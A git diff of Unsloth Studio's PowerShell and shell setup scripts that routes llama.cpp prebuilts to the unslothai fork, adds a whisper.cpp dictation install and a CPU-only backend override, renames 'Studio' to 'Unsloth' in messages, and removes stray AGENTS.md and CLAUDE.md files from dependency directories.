-$HelperReleaseRepo = if ($HasNvidiaSmi -or $HasROCm -or $script:ROCmGfxArch) { "unslothai/llama.cpp" } else { "ggml-org/llama.cpp" }
+# Every host installs the fork's app-* prebuilts now: GPU Windows (CUDA / ROCm)
+# already did, and the fork now also ships the CPU bundles for Windows x64 and
+# arm64 (windows-cpu / windows-arm64). ggml-org artifacts are no longer used by
+# default. Mirrors setup.sh's routing.
+$HelperReleaseRepo = "unslothai/llama.cpp"
 $LlamaPr = if ($env:UNSLOTH_LLAMA_PR) { $env:UNSLOTH_LLAMA_PR.Trim() } else { "" }
 
 $LlamaPrForce = if ($env:UNSLOTH_LLAMA_PR_FORCE) { $env:UNSLOTH_LLAMA_PR_FORCE.Trim() } else { $DefaultLlamaPrForce }
@@ -3191,7 +3563,7 @@ if ($LocalLlamaCppSrc) {
     # Reusing a local dir disables both the prebuilt download and the source
     # build, so a runnable llama-server.exe must already be present. Accept any
     # layout LlamaCppBackend._layout_candidates() resolves (root-level, build\bin,
-    # or build\bin\Release) so the flag never rejects a tree Studio could run.
+    # or build\bin\Release) so the flag never rejects a tree Unsloth could run.
     $LocalLlamaServerFound = $false
     foreach ($_cand in @(
             (Join-Path $ResolvedLocal "llama-server.exe"),
@@ -3213,7 +3585,7 @@ if ($LocalLlamaCppSrc) {
         }
     } else {
         # Fail clearly rather than junction an unbuilt or wrong-platform checkout
-        # and leave Studio with no usable binary.
+        # and leave Unsloth with no usable binary.
         if (-not $LocalLlamaServerFound) {
             step "llama.cpp" "no llama-server.exe under $ResolvedLocal (looked for .\llama-server.exe, .\build\bin and .\build\bin\Release) -- build llama.cpp there first, or drop --with-llama-cpp-dir" "Red"
             exit 1
@@ -3241,7 +3613,7 @@ if ($LocalLlamaCppSrc) {
             # prebuilt path's active-process handling and stop with a clear message.
             if (Test-Path -LiteralPath $LlamaCppDir) {
                 step "llama.cpp" "install blocked by active llama.cpp process" "Yellow"
-                substep "Close Studio or other llama.cpp users and retry" "Yellow"
+                substep "Close Unsloth or other llama.cpp users and retry" "Yellow"
                 exit 3
             }
         }
@@ -3249,6 +3621,7 @@ if ($LocalLlamaCppSrc) {
         if ($LASTEXITCODE -ne 0) {
             substep "Could not create directory junction; copying instead..." "Yellow"
             Copy-Item -Recurse -LiteralPath $ResolvedLocal -Destination $LlamaCppDir
+            Remove-AgentInstructionFiles -Roots @($LlamaCppDir)
         }
         Write-Host ""
         step "llama.cpp" "linked local directory: $ResolvedLocal"
@@ -3283,11 +3656,13 @@ if ($LocalLlamaCppLinked) {
                 # treat a valid ROCm install as mismatched. A name-inferred gfx
                 # arch (Adrenalin-only, no confirmed runtime) still counts as
                 # ROCm-capable -- the ROCm prebuilt bundles its own runtime,
-                # mirroring the --rocm-gfx forward below. NOTE: this block is
-                # currently inert -- write_prebuilt_metadata does not persist an
-                # install_kind key, so $existingKind is always null. If that changes,
-                # add the remaining host kinds (e.g. windows-arm64) before relying on it.
-                $expectedKinds = if ($HasROCm -or $script:ROCmGfxArch) { @("windows-rocm", "windows-hip") } elseif ($HasNvidiaSmi) { @("windows-cuda") } else { @("windows-cpu") }
+                # mirroring the --rocm-gfx forward below. The CPU branch covers both
+                # the x64 windows-cpu and arm64 windows-arm64 bundles (Windows arm64
+                # has no GPU prebuilt). NOTE: this block is currently inert --
+                # write_prebuilt_metadata does not persist an install_kind key, so
+                # $existingKind is always null; keep $expectedKinds in sync with the
+                # kinds install_llama_prebuilt.py installs before relying on it.
+                $expectedKinds = if ($HasROCm -or $script:ROCmGfxArch) { @("windows-rocm", "windows-hip") } elseif ($HasNvidiaSmi) { @("windows-cuda") } else { @("windows-cpu", "windows-arm64") }
                 if ($existingKind -and ($existingKind -notin $expectedKinds)) {
                     substep "Removing mismatched llama.cpp install (found '$existingKind', need one of: $($expectedKinds -join ', '))..."
                     Remove-Item -Recurse -Force -LiteralPath $LlamaCppDir -ErrorAction SilentlyContinue
@@ -3324,6 +3699,15 @@ if ($LocalLlamaCppLinked) {
         if ($env:UNSLOTH_LLAMA_RELEASE_TAG) {
             $prebuiltArgs += @("--published-release-tag", $env:UNSLOTH_LLAMA_RELEASE_TAG)
         }
+        # UNSLOTH_LLAMA_CPP_BACKEND=cpu (case-insensitive, whitespace-trimmed) forces the
+        # CPU-only prebuilt via --force-cpu (persisted so updates keep it). Fixes Intel
+        # iGPU Vulkan crash (#7213).
+        $llamaBackend = "$($env:UNSLOTH_LLAMA_CPP_BACKEND)".Trim().ToLowerInvariant()
+        if ($llamaBackend -eq "cpu") {
+            $prebuiltArgs += "--force-cpu"
+        } elseif ($llamaBackend -and $llamaBackend -ne "auto") {
+            Write-Host "[WARN] Ignoring UNSLOTH_LLAMA_CPP_BACKEND='$($env:UNSLOTH_LLAMA_CPP_BACKEND)' (expected 'auto' or 'cpu')" -ForegroundColor Yellow
+        }
         $prevEAPPrebuilt = $ErrorActionPreference
         $ErrorActionPreference = "Continue"
         $previousNativeErrorPreference = $null
@@ -3371,7 +3755,7 @@ if ($LocalLlamaCppLinked) {
             if (Test-Path -LiteralPath $LlamaCppDir) {
                 substep "Existing install was restored" "Yellow"
             }
-            substep "Close Studio or other llama.cpp users and retry" "Yellow"
+            substep "Close Unsloth or other llama.cpp users and retry" "Yellow"
             exit 3
         } else {
             step "llama.cpp" "prebuilt install failed (continuing)" "Yellow"
@@ -3384,6 +3768,83 @@ if ($LocalLlamaCppLinked) {
         }
 }
 
+# ==========================================================================
+#  PHASE 3.4: Install the whisper.cpp prebuilt (dictation runtime)
+# ==========================================================================
+# Mirrors the llama.cpp prebuilt install above; current whisper releases are
+# slim bundles that reuse the llama install's ggml runtime, so this runs after
+# llama. Failure is never fatal: local dictation falls back to Transformers STT.
+$WhisperCppDir = Join-Path $UnslothHome "whisper.cpp"
+$WhisperInstaller = Join-Path $PSScriptRoot "install_whisper_prebuilt.py"
+# Same opt-outs as setup.sh: a user-configured binary/dir or an explicit skip
+# disables the managed install entirely.
+if ($env:WHISPER_SERVER_PATH -or $env:UNSLOTH_WHISPER_CPP_PATH) {
+    substep "whisper.cpp: using a user-configured binary/dir; skipping managed install"
+} elseif ($env:UNSLOTH_SKIP_WHISPER_INSTALL -eq "1") {
+    substep "whisper.cpp: install skipped (UNSLOTH_SKIP_WHISPER_INSTALL=1)"
+} elseif (Test-Path -LiteralPath $WhisperInstaller) {
+    # The installer's atomic activation replaces the whole directory, so the
+    # custom-home ownership guard must run first (mirrors the llama block).
+    if ($StudioHomeIsCustom) {
+        Assert-StudioOwnedOrAbsent -Path $WhisperCppDir -Label "whisper.cpp install"
+    }
+    $whisperArgs = @($WhisperInstaller, "--install-dir", $WhisperCppDir)
+    if ($env:UNSLOTH_WHISPER_RELEASE_TAG) {
+        $whisperArgs += @("--published-release-tag", $env:UNSLOTH_WHISPER_RELEASE_TAG)
+    }
+    if ($script:ROCmGfxArch) {
+        $whisperArgs += @("--rocm-gfx", $script:ROCmGfxArch)
+    } elseif ($HasROCm) {
+        $whisperArgs += "--has-rocm"
+    }
+    $prevEAPWhisper = $ErrorActionPreference
+    $ErrorActionPreference = "Continue"
+    $previousNativeErrorPreferenceW = $null
+    $restoreNativeErrorPreferenceW = $false
+    if ($PSVersionTable.PSVersion.Major -ge 7) {
+        $previousNativeErrorPreferenceW = $PSNativeCommandUseErrorActionPreference
+        $PSNativeCommandUseErrorActionPreference = $false
+        $restoreNativeErrorPreferenceW = $true
+    }
+    try {
+        $whisperOutput = & python @whisperArgs 2>&1 | Out-String
+        $whisperExit = $LASTEXITCODE
+    } finally {
+        if ($restoreNativeErrorPreferenceW) {
+            $PSNativeCommandUseErrorActionPreference = $previousNativeErrorPreferenceW
+        }
+    }
+    $ErrorActionPreference = $prevEAPWhisper
+    if ($whisperExit -eq 0) {
+        if ($whisperOutput -match "already matches") {
+            step "whisper.cpp" "prebuilt up to date"
+        } else {
+            step "whisper.cpp" "prebuilt installed"
+        }
+        if ($StudioHomeIsCustom -and (Test-Path -LiteralPath $WhisperCppDir -PathType Container)) {
+            Mark-StudioOwned -Path $WhisperCppDir
+        }
+    } elseif ($whisperExit -eq 3) {
+        step "whisper.cpp" "install busy; keeping existing runtime" "Yellow"
+    } elseif ($whisperExit -eq 2) {
+        $requiredWhisperLlamaTag = "unknown"
+        if ($whisperOutput -match "slim bundle requires llama\.cpp ([^;\s]+)") {
+            $requiredWhisperLlamaTag = $Matches[1]
+        }
+        $installedWhisperLlamaTag = "unknown"
+        $llamaMarker = Join-Path $LlamaCppDir "UNSLOTH_PREBUILT_INFO.json"
+        if (Test-Path -LiteralPath $llamaMarker -PathType Leaf) {
+            try {
+                $markerPayload = Get-Content -LiteralPath $llamaMarker -Raw | ConvertFrom-Json
+                if ($markerPayload.release_tag) { $installedWhisperLlamaTag = $markerPayload.release_tag }
+            } catch {}
+        }
+        step "whisper.cpp" "no compatible prebuilt (installed llama.cpp $installedWhisperLlamaTag; whisper requires $requiredWhisperLlamaTag); curated whisper.cpp dictation is unavailable; publish paired releases in llama.cpp then whisper.cpp order; browser and Transformers dictation remain available" "Yellow"
+    } else {
+        step "whisper.cpp" "prebuilt install failed; curated whisper.cpp dictation is unavailable; retry setup or inspect verbose output; browser and Transformers dictation remain available" "Yellow"
+    }
+}
+
 # ==========================================================================
 #  PHASE 3.5: Install OpenSSL dev (for HTTPS support in llama-server)
 # ==========================================================================
@@ -3960,7 +4421,7 @@ if ($LocalLlamaCppLinked) {
     }
 
     # -- Step E: Build the DiffusionGemma visual server (optional, best-effort) --
-    # An example target present on llama.cpp PR #24423; lets Studio serve
+    # An example target present on llama.cpp PR #24423; lets Unsloth serve
     # DiffusionGemma GGUFs without DG_VISUAL_BIN. No-op when not configured.
     if ($BuildOk) {
         $null = cmake --build $BuildDir --config Release --target llama-diffusion-gemma-visual-server -j $NumCpu 2>&1 | Out-String
@@ -4012,6 +4473,16 @@ if ($LocalLlamaCppLinked) {
     }
 }
 
+$llamaCppItem = Get-Item -LiteralPath $LlamaCppDir -Force -ErrorAction SilentlyContinue
+$llamaCppIsLink = $llamaCppItem -and ($llamaCppItem.Attributes -band [System.IO.FileAttributes]::ReparsePoint)
+if (-not $llamaCppIsLink -and (
+        -not $StudioHomeIsCustom -or
+        (Test-Path -LiteralPath (Join-Path $LlamaCppDir $StudioOwnedMarker) -PathType Leaf) -or
+        (Test-StudioOwnedAdoptable $LlamaCppDir)
+    )) {
+    Remove-AgentInstructionFiles -Roots @($LlamaCppDir)
+}
+
 # ─────────────────────────────────────────────
 # Footer
 # ─────────────────────────────────────────────
@@ -4033,7 +4504,9 @@ if ($script:StudioVtOk -and -not $env:NO_COLOR) {
     }
     Write-Host "  $Rule" -ForegroundColor DarkGray
 }
-step "launch" "unsloth studio -H 0.0.0.0 -p 8888"
+step "launch" "unsloth studio -p 8888"
+substep "(add -H 0.0.0.0 for LAN / cloud access; exposes the raw port only, not a public URL)"
+substep "(add -H 0.0.0.0 --cloudflare for a public Cloudflare HTTPS link, or --secure to keep the raw port private; anyone with the API key can run code)"
 Write-Host ""
 
 # Match studio/setup.sh: exit non-zero for degraded llama.cpp when called
diff --git a/studio/setup.sh b/studio/setup.sh
index 6a74cd2296..3c97f77065 100755
--- a/studio/setup.sh
+++ b/studio/setup.sh
@@ -36,6 +36,10 @@ fi
 #                             forces a source build, and causes HTTP 422 errors.
 #                             Only use "master" temporarily when the latest release
 #                             is missing support for a new model architecture.
+#
+#   UNSLOTH_LLAMA_CPP_BACKEND : "auto" (default) or "cpu". When "cpu", forces
+#                               the CPU-only prebuilt bundle on GPU hosts.
+#                               Fixes Intel iGPU Vulkan crashes (#7213).
 # ──────────────────────────────────────────────────────────────────────────
 _DEFAULT_LLAMA_PR_FORCE=""
 _DEFAULT_LLAMA_SOURCE="https://github.com/ggml-org/llama.cpp"
@@ -74,6 +78,16 @@ verbose_substep() {
     return 0
 }
 
+_remove_agent_instruction_files() {
+    local _root
+    for _root in "$@"; do
+        [ -d "$_root" ] || continue
+        [ -L "$_root" ] && continue
+        find "$_root" \( -type f -o -type l \) \( -name 'AGENTS.md' -o -name 'CLAUDE.md' \) \
+            -exec rm -f {} + 2>/dev/null || true
+    done
+}
+
 # ── Corporate-mirror / proxy escape hatch for the frontend npm/bun install (#6491) ──
 # studio/frontend/.npmrc pins registry=https://registry.npmjs.org/ as a supply-chain
 # lock. A project-level pin overrides a corporate user's ~/.npmrc proxy, so the install
@@ -117,13 +131,13 @@ _suggest_npm_registry() {
     printf '\n' >&2
     step "frontend" "registry.npmjs.org looks blocked (corporate firewall/proxy?)" "$C_WARN" >&2
     if [ -n "$_mirror" ]; then
-        substep "Studio pins the public npm registry; your mirror is being ignored." >&2
+        substep "Unsloth pins the public npm registry; your mirror is being ignored." >&2
         substep "Detected a registry in your npm config:" >&2
         substep "  $_mirror" >&2
-        substep "Re-run pointing Studio at it:" >&2
+        substep "Re-run pointing Unsloth at it:" >&2
         substep "  UNSLOTH_NPM_REGISTRY=$_mirror ./install.sh --local" >&2
     else
-        substep "If you use a private mirror/proxy, point Studio at it and re-run:" >&2
+        substep "If you use a private mirror/proxy, point Unsloth at it and re-run:" >&2
         substep "  UNSLOTH_NPM_REGISTRY=https://your-mirror.example/api/npm/ ./install.sh --local" >&2
     fi
     substep "(min-release-age and save-exact stay enforced.)" >&2
@@ -386,7 +400,7 @@ _print_cuda_driver_toolkit_mismatch() {
     local _driver_major=${_driver_version%%.*}
     substep "CUDA Toolkit $_toolkit_version is a major-version mismatch: toolkit major $_toolkit_major exceeds driver CUDA major $_driver_major ($_driver_version)." "$C_WARN"
     substep "Update the NVIDIA GPU driver to run CUDA Toolkit $_toolkit_version, or install a CUDA $_driver_major.x toolkit." "$C_WARN"
-    substep "Or let Studio use the prebuilt CUDA bundle; it does not need the local toolkit." "$C_WARN"
+    substep "Or let Unsloth use the prebuilt CUDA bundle; it does not need the local toolkit." "$C_WARN"
 }
 
 print_llama_error_log() {
@@ -521,13 +535,15 @@ _STUDIO_HOME_IS_CUSTOM=false
 if [ "$_studio_home_canon" != "$_LEGACY_STUDIO_HOME" ]; then
     _STUDIO_HOME_IS_CUSTOM=true
 fi
-# Directory-local evidence Studio created "$1": only prebuilt-installer metadata
+# Directory-local evidence Unsloth created "$1": only prebuilt-installer metadata
 # counts (UNSLOTH_PREBUILT_INFO.json for llama.cpp, UNSLOTH_NODE_PREBUILT_INFO.json
-# for Node), both written only by our installers. Mirrors the setup.ps1 Node guard.
-# A markerless source build stays strict since this runs right before an rm -rf.
+# for Node, UNSLOTH_WHISPER_PREBUILT_INFO.json for whisper.cpp), all written only
+# by our installers. Mirrors the setup.ps1 Node guard. A markerless source build
+# stays strict since this runs right before an rm -rf.
 _studio_owned_adoptable() {
     [ -f "$1/UNSLOTH_PREBUILT_INFO.json" ] && return 0
     [ -f "$1/UNSLOTH_NODE_PREBUILT_INFO.json" ] && return 0
+    [ -f "$1/UNSLOTH_WHISPER_PREBUILT_INFO.json" ] && return 0
     return 1
 }
 _assert_studio_owned_or_absent() {
@@ -539,7 +555,7 @@ _assert_studio_owned_or_absent() {
             : > "$_aso_dir/$_STUDIO_OWNED_MARKER" 2>/dev/null || true
             return 0
         fi
-        echo "ERROR: $_aso_dir already exists and is not marked as a Studio-owned $_aso_label." >&2
+        echo "ERROR: $_aso_dir already exists and is not marked as an Unsloth-owned $_aso_label." >&2
         echo "       Move it aside or choose an empty UNSLOTH_STUDIO_HOME before re-running." >&2
         exit 1
     fi
@@ -575,7 +591,7 @@ if [ "$_NEED_FRONTEND_BUILD" = false ] && [ ! -d "$_OXC_DIR" ]; then
 else
 
 # ── Node (isolated; never touches the system Node/npm) ──
-# Studio's frontend (Vite 8) needs Node ^20.19 || >=22.12 || >=23 and npm >= 11.
+# Unsloth's frontend (Vite 8) needs Node ^20.19 || >=22.12 || >=23 and npm >= 11.
 # Three sources:
 #   system  -- system Node + npm already satisfy both; used read-only.
 #   bundled -- install a pinned isolated Node under $UNSLOTH_HOME/node, build-only.
@@ -656,9 +672,9 @@ elif [ "$NODE_SOURCE" = bundled ]; then
     fi
     set -e
     if [ "$_NODE_STATUS" -eq 3 ]; then
-        step "node" "install blocked by another active Studio install" "$C_ERR"
+        step "node" "install blocked by another active Unsloth install" "$C_ERR"
         sed 's/^/   | /' "$_NODE_LOG" >&2; rm -f "$_NODE_LOG"
-        substep "close other Studio installs and retry"
+        substep "close other Unsloth installs and retry"
         exit 3
     elif [ "$_NODE_STATUS" -ne 0 ]; then
         step "node" "isolated Node install failed" "$C_ERR"
@@ -682,7 +698,7 @@ elif [ "$NODE_SOURCE" = bundled ]; then
 else
     _FRONTEND_SKIP=true
     step "frontend" "skipped (no suitable Node; system left untouched)" "$C_WARN"
-    substep "found Node='${_SYS_NODE_VER:-none}' npm='${_SYS_NPM_VER:-none}'; Studio needs Node >=20.19/22.12/23 and npm >= 11"
+    substep "found Node='${_SYS_NODE_VER:-none}' npm='${_SYS_NPM_VER:-none}'; Unsloth needs Node >=20.19/22.12/23 and npm >= 11"
     substep "install a suitable Node + npm, or unset UNSLOTH_SKIP_NODE_INSTALL to let Unsloth manage an isolated Node"
 fi
 verbose_substep "node source: $NODE_SOURCE (sys node=${_SYS_NODE_VER:-none} npm=${_SYS_NPM_VER:-none}) dir=$NODE_DIR"
@@ -847,6 +863,10 @@ elif [ -d "$_OXC_DIR" ] && [ "${NODE_SOURCE:-}" != skip ]; then
     substep "OXC validator runtime skipped (no npm found); code validation degrades until Node is available" "$C_WARN"
 fi
 
+_remove_agent_instruction_files \
+    "$SCRIPT_DIR/frontend/node_modules" \
+    "$_OXC_DIR/node_modules"
+
 # ── Python venv + deps ──
 
 [ -d "$REPO_ROOT/.venv" ] && rm -rf "$REPO_ROOT/.venv"
@@ -859,11 +879,11 @@ fi
 _COLAB_NO_VENV=false
 if [ ! -x "$VENV_DIR/bin/python" ]; then
     if [ "$IS_COLAB" = true ]; then
-        # On Colab there is no Studio venv -- install backend deps into system Python.
+        # On Colab there is no Unsloth venv -- install backend deps into system Python.
         # Strip all version constraints so pip keeps Colab's pre-installed
         # packages (huggingface-hub, datasets, transformers) and only pulls
         # in genuinely missing ones (structlog, fastapi, etc.).
-        substep "Colab detected, installing Studio backend dependencies..."
+        substep "Colab detected, installing Unsloth backend dependencies..."
         _COLAB_REQS_TMP="$(mktemp)"
         sed 's/[><=!~;].*//' "$SCRIPT_DIR/backend/requirements/studio.txt" \
             | grep -v '^#' | grep -v '^$' > "$_COLAB_REQS_TMP"
@@ -1083,8 +1103,7 @@ if [ "$_setup_nvidia_usable" != true ]; then
         _setup_mkt=$(_setup_run_smi amd-smi static --asic 2>/dev/null | awk -F'[:|]' \
             '/[Mm]arket.?[Nn]ame/{gsub(/^[[:space:]]+|[[:space:]]+$/,"", $2); if($2){print $2; exit}}' || true)
     elif [ -e /dev/kfd ] && \
-         awk 'FNR==1{ gpu=0; amd=0 } /gpu_id/{ gpu=($2+0>0) } /vendor_id/{ amd=($2==4098) } \
-              gpu && amd { found=1 } END{ exit !found }' \
+         awk '/vendor_id/ && $2 == 4098 { found = 1 } END { exit !found }' \
              /sys/class/kfd/kfd/topology/nodes/*/properties 2>/dev/null; then
         # KFD sysfs fallback, AMD vendor_id 4098 only (mirrors install.sh
         # _has_amd_rocm_gpu): covers AMD hosts where rocminfo/amd-smi are
@@ -1118,7 +1137,7 @@ elif [ "$_setup_amd_detected" = true ]; then
         case "$_setup_mkt" in
             *"9070 XT"*|*9080*)                                                                            _setup_gfx="gfx1201" ;;  # RDNA 4
             *9070*|*9060*)                                                                                 _setup_gfx="gfx1200" ;;  # RDNA 4
-            *"8060S"*|*"8050S"*|*"8040S"*|*"Strix Halo"*|*"Ryzen AI Max"*|*"AI Max"*) _setup_gfx="gfx1151" ;;  # RDNA 3.5 (Strix Halo: Radeon 8060S/8050S/8040S iGPU, Ryzen AI Max+)
+            *"8065S"*|*"8060S"*|*"8050S"*|*"8040S"*|*"Strix Halo"*|*"Ryzen AI Max"*|*"AI Max"*) _setup_gfx="gfx1151" ;;  # RDNA 3.5 (Strix Halo + Gorgon Halo: Radeon 8065S/8060S/8050S/8040S iGPU, Ryzen AI Max / Max+)
             *"890M"*|*"880M"*|*"860M"*|*"840M"*|*"Strix Point"*|*"Krackan"*|*"HX 37"*|*"AI 9 HX"*|*"AI 9 36"*|*"AI 7 35"*|*"AI 5 34"*|*"AI 7 PRO 35"*|*"AI 5 33"*) _setup_gfx="gfx1150" ;;  # RDNA 3.5 (Strix/Krackan Point: Radeon 890M/880M iGPU, Ryzen AI 9 HX 370/375)
             *"RX 7600"*|*"RX 7700S"*|*"RX 7650"*|*"PRO W7600"*|*"PRO W7500"*|*"PRO V710"*)                  _setup_gfx="gfx1102" ;;  # RDNA 3 (Navi 33)
             *"RX 7900"*|*"RX 7800"*|*"RX 7700"*|*"PRO W7900"*|*"PRO W7800"*|*"PRO W7700"*)                  _setup_gfx="gfx1100" ;;  # RDNA 3 desktop / workstation (Navi 31)
@@ -1176,63 +1195,19 @@ _REQUESTED_LLAMA_TAG="${UNSLOTH_LLAMA_TAG:-${_DEFAULT_LLAMA_TAG}}"
 _HOST_SYSTEM="$(uname -s 2>/dev/null || true)"
 _HOST_MACHINE="$(uname -m 2>/dev/null || true)"
 
-# Pick the release repo install_llama_prebuilt.py plans against.
-# The fork ships CUDA (Linux x64/arm64, Windows), ROCm (Linux/Windows) and
-# macOS bundles. Only the plain CPU/Vulkan bundles still come from ggml-org, so
-# CPU-only Linux (x86_64 and arm64) routes there; GPU Linux, Windows and macOS
-# use unslothai.
-_LINUX_HAS_GPU=false
-# Route to the fork only for a usable GPU. NVIDIA counts only when a device is
-# actually enumerated and not hidden via CUDA_VISIBLE_DEVICES=""/-1
-# (_setup_nvidia_usable, from _setup_has_usable_nvidia_gpu above) -- mirroring
-# install_llama_prebuilt.py's has_usable_nvidia. Mere nvidia-smi presence
-# (CPU-only CUDA-toolkit containers, broken drivers) or a hidden GPU therefore
-# takes the ggml-org CPU prebuilt instead of a slow source build. AMD is
-# deliberately left on tooling presence, not usability: an unusable NVIDIA host
-# has a good CPU prebuilt to fall back to, whereas tightening AMD would regress
-# ROCm hosts exposing only hipconfig/hipinfo into an unnecessary CPU build.
-if [ "$_setup_nvidia_usable" = true ]; then
-    _LINUX_HAS_GPU=true
-else
-    for _GPU_TOOL in rocminfo amd-smi hipconfig hipinfo; do
-        if command -v "$_GPU_TOOL" >/dev/null 2>&1; then
-            _LINUX_HAS_GPU=true
-            break
-        fi
-    done
-fi
+# Pick the release repo install_llama_prebuilt.py plans against. Every host this
+# installer supports now pulls its llama.cpp prebuilt from the unslothai fork: it
+# ships the CUDA (Linux x64/arm64, Windows), ROCm (Linux/Windows) and macOS
+# bundles, plus the CPU bundles for Linux/Windows on both x86_64 and arm64.
+# ggml-org artifacts are no longer used by default.
+_HELPER_RELEASE_REPO="unslothai/llama.cpp"
 # UNSLOTH_ROCM_GFX_ARCH may be set on a host where no probe fired, so the override
 # nested in the AMD-detected branch above never ran and _setup_gfx is still empty.
-# Honour it here so the routing guard below and the --rocm-gfx forwarding both see
-# it (install_llama_prebuilt.py reads the same env var as the --rocm-gfx default).
-if [ "$_setup_nvidia_usable" != true ] && [ -z "${_setup_gfx:-}" ] && [ -n "${UNSLOTH_ROCM_GFX_ARCH:-}" ]; then
+# Honour it here so the --rocm-gfx forwarding below still sees it
+# (install_llama_prebuilt.py reads the same env var as the --rocm-gfx default).
+if [ "${_setup_nvidia_usable:-}" != true ] && [ -z "${_setup_gfx:-}" ] && [ -n "${UNSLOTH_ROCM_GFX_ARCH:-}" ]; then
     _setup_gfx="${UNSLOTH_ROCM_GFX_ARCH}"
 fi
-# A resolved/forwarded gfx arch (UNSLOTH_ROCM_GFX_ARCH) means an AMD GPU even when
-# no ROCm tooling is on PATH; route it to the fork so the per-gfx prebuilt is
-# picked instead of ggml-org / a source build.
-if [ "$_LINUX_HAS_GPU" = false ] && [ -n "${_setup_gfx:-}" ]; then
-    _LINUX_HAS_GPU=true
-fi
-
-if [ "$_HOST_SYSTEM" = "Linux" ] \
-        && [ "$_HOST_MACHINE" = "x86_64" ] \
-        && [ "$_LINUX_HAS_GPU" = false ]; then
-    _HELPER_RELEASE_REPO="ggml-org/llama.cpp"
-elif [ "$_HOST_SYSTEM" = "Linux" ] \
-        && { [ "$_HOST_MACHINE" = "aarch64" ] || [ "$_HOST_MACHINE" = "arm64" ]; } \
-        && [ "$_LINUX_HAS_GPU" = false ]; then
-    # CPU-only Linux ARM64 (Ampere Altra, Raspberry Pi 5, GitHub
-    # `ubuntu-24.04-arm`, CPU-only Jetson rescue mode, ...). The fork ships no
-    # arm64 CPU bundle, so without this branch the prebuilt resolver returns 0
-    # attempts and the installer falls back to a source build. ggml-org ships
-    # llama-bNNNN-bin-ubuntu-arm64.tar.gz from at least b9072 onward.
-    _HELPER_RELEASE_REPO="ggml-org/llama.cpp"
-else
-    # GPU Linux (x64 CUDA/ROCm, arm64 CUDA), Windows (CUDA/ROCm), and macOS.
-    _HELPER_RELEASE_REPO="unslothai/llama.cpp"
-fi
-unset _GPU_TOOL
 _LLAMA_PR="${UNSLOTH_LLAMA_PR:-}"
 _SKIP_PREBUILT_INSTALL=false
 _LLAMA_PR_FORCE="${UNSLOTH_LLAMA_PR_FORCE:-${_DEFAULT_LLAMA_PR_FORCE}}"
@@ -1284,7 +1259,7 @@ _link_local_llama_quantize_shim() {
 }
 
 # Accept any layout LlamaCppBackend._layout_candidates() resolves so the flag
-# never rejects a tree Studio could actually run: a root-level llama-server (a
+# never rejects a tree Unsloth could actually run: a root-level llama-server (a
 # `make` build or a flat-extracted release) or the CMake build/bin/llama-server.
 _has_local_llama_server() {
     [ -x "$1/llama-server" ] || [ -x "$1/build/bin/llama-server" ]
@@ -1328,13 +1303,13 @@ if [ -n "${UNSLOTH_LOCAL_LLAMA_CPP_DIR:-}" ]; then
         # Reusing disables BOTH the prebuilt download and the source build, so the
         # linked tree must already contain a runnable llama-server in one of the
         # layouts the backend resolves (root-level or build/bin/). Fail clearly
-        # rather than link an unbuilt or wrong-platform checkout and leave Studio
+        # rather than link an unbuilt or wrong-platform checkout and leave Unsloth
         # with no usable binary.
         if ! _has_local_llama_server "$_RESOLVED_LOCAL"; then
             step "llama.cpp" "no llama-server under $_RESOLVED_LOCAL (looked for ./llama-server and ./build/bin/llama-server) -- build llama.cpp there first, or drop --with-llama-cpp-dir" "$C_ERR"
             exit 1
         fi
-        # A stale link from a previous --with-llama-cpp-dir run isn't Studio-owned
+        # A stale link from a previous --with-llama-cpp-dir run isn't Unsloth-owned
         # content; drop it before the ownership check so re-runs stay idempotent
         # for a custom UNSLOTH_STUDIO_HOME (the assert would otherwise follow the
         # link into the user's dir and reject it as unowned).
@@ -1384,11 +1359,32 @@ else
     # name-inferred arch). Implies --has-rocm on the installer side.
     if [ -n "${_setup_gfx:-}" ]; then
         _PREBUILT_CMD+=(--rocm-gfx "$_setup_gfx")
-    elif [ "$_setup_amd_detected" = true ]; then
-        # AMD was detected but gfx resolution failed; tell the installer ROCm is
-        # present so it can still attempt a prebuilt. Mirrors setup.ps1 behaviour.
+    elif [ "$_setup_amd_detected" = true ] && \
+         { command -v hipcc >/dev/null 2>&1 || [ -x /opt/rocm/bin/hipcc ] || \
+           ls /opt/rocm-*/bin/hipcc >/dev/null 2>&1; }; then
+        # AMD detected but gfx unknown (KFD-only host): forward --has-rocm only when
+        # hipcc can actually build llama.cpp (incl. a versioned /opt/rocm-*/bin, the
+        # same paths the source build uses). With no gfx the prebuilt resolver finds
+        # no ROCm bundle and the source build would fail, so without hipcc fall
+        # through to the CPU prebuilt instead of breaking the install.
         _PREBUILT_CMD+=(--has-rocm)
     fi
+    # UNSLOTH_LLAMA_CPP_BACKEND=cpu (case-insensitive, trimmed) forces the CPU-only
+    # prebuilt via --force-cpu, bypassing Vulkan/CUDA/ROCm. Fixes Intel iGPU crash (#7213).
+    # No effect on macOS: the universal bundle already runs on CPU (Metal is a runtime
+    # -ngl choice), so warn instead of writing a misleading forced-CPU marker.
+    _llama_backend="$(printf '%s' "${UNSLOTH_LLAMA_CPP_BACKEND:-auto}" | awk '{$1=$1; print tolower($0)}')"
+    case "$_llama_backend" in
+        cpu)
+            if [ "$_HOST_SYSTEM" = "Darwin" ]; then
+                step "llama.cpp" "UNSLOTH_LLAMA_CPP_BACKEND=cpu has no effect on macOS (universal build; use -ngl 0 at runtime for CPU-only)" "$C_WARN" >&2
+            else
+                _PREBUILT_CMD+=(--force-cpu)
+            fi
+            ;;
+        ""|auto) ;;
+        *) step "llama.cpp" "Ignoring UNSLOTH_LLAMA_CPP_BACKEND='$UNSLOTH_LLAMA_CPP_BACKEND' (expected 'auto' or 'cpu')" "$C_WARN" >&2 ;;
+    esac
     _PREBUILT_LOG="$(mktemp)"
     set +e
     if _is_verbose; then
@@ -1419,7 +1415,7 @@ else
         if [ -d "$LLAMA_CPP_DIR" ]; then
             substep "existing install was restored"
         fi
-        substep "close Studio or other llama.cpp users and retry"
+        substep "close Unsloth or other llama.cpp users and retry"
         exit 3
     else
         step "llama.cpp" "prebuilt install failed (continuing)" "$C_WARN"
@@ -1916,7 +1912,7 @@ else
                 ln -sf build/bin/llama-quantize "$LLAMA_CPP_DIR/llama-quantize"
             fi
             # DiffusionGemma visual server, if it was built (PR #24423): link next to
-            # llama-server so Studio serves DiffusionGemma GGUFs without DG_VISUAL_BIN.
+            # llama-server so Unsloth serves DiffusionGemma GGUFs without DG_VISUAL_BIN.
             if [ -f "$LLAMA_CPP_DIR/build/bin/llama-diffusion-gemma-visual-server" ]; then
                 ln -sf build/bin/llama-diffusion-gemma-visual-server "$LLAMA_CPP_DIR/llama-diffusion-gemma-visual-server"
